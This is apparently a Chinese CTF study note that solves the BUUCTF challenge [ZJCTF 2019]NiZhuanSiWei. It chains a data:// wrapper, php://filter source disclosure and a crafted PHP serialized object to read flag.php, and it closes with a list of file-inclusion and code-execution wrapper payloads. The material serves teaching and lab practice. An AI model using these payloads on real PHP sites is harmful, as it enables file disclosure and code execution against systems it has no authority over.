【学习笔记10】buu [ZJCTF 2019]NiZhuanSiWei

打开一看

$text = $_GET["text"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

    echo "

".file_get_contents($text,'r')."


";

    if(preg_match("/flag/",$file)){

        echo "Not now!";

        exit(); 

    }else{

        include($file);  //useless.php

        $password = unserialize($password);

        echo $password;

    }

}

else{

    highlight_file(__FILE__);

}

?>

代码审计走起,一步一步分析,首先是这里

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

    echo "

".file_get_contents($text,'r')."


";

首先判断text是否传进来,并且传进来的参数是否等于welcome to the zjctf,这时我们就可以利用data伪协议进行文件php文件执行,(data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。)

这里就可以构造

?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

d2VsY29tZSB0byB0aGUgempjdGY=这时为了绕过一些过滤在这里将传入的值给base64编码了一下

 if(preg_match("/flag/",$file)){

        echo "Not now!";//首先正则匹配一下是否存在flag,如果有就报错退出

        exit(); 

    }else{

        include($file);  //useless.php(这里提示了一个useless.php文件,这里用php://filter读取一下)

        $password = unserialize($password);

        echo $password;

    }

}

因为有过滤不能直接读,那就用base64编译一下构造payload,来看看useless.php里有什么

file=php://filter/read=convert.base64-encode/resource=useless.php//注意于上一传参之间用&链接

得到一串base64编码的代码

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解码后得到代码

class Flag{  //flag.php  (终于找到关于flag的提示了)

    public $file; 

    public function __tostring(){  //如果这个魔法函数被执行

        if(isset($this->file)){  //就会执行这些

            echo file_get_contents($this->file);

            echo "
";

        return ("U R SO CLOSE !///COME ON PLZ");

        } 

    } 

?> 

联想到上边的代码

 $password = unserialize($password);

首先将password的传参序列化一下,之后通过unserialize在反序列化出来,经过flie的传参到uesless.php页面使_tostring执行从而得到flag,下面开始构造序列化的数组

class Flag{  //flag.php  (终于找到关于flag的提示了)

    public $file="flag.php"; 

    public function __tostring(){  //如果这个魔法函数被执行

        if(isset($this->file)){  //就会执行这些

            echo file_get_contents($this->file);

            echo "
";

        return ("U R SO CLOSE !///COME ON PLZ");

        } 

    } 

}

$a = new Flag();

echo serialize($a);

?> 

把这个在本地执行一下,得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} ?>

这里也没有wakeup什么的也就不存在什么绕过,所以直接构造

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

所以最终的payload就是

?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

之后查看源码得到flag

最后补充几个关于伪协议常用的payload,包括读文件和php代码执行

1.?file=data:text/plain,

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

你可能感兴趣的:(【学习笔记10】buu [ZJCTF 2019]NiZhuanSiWei)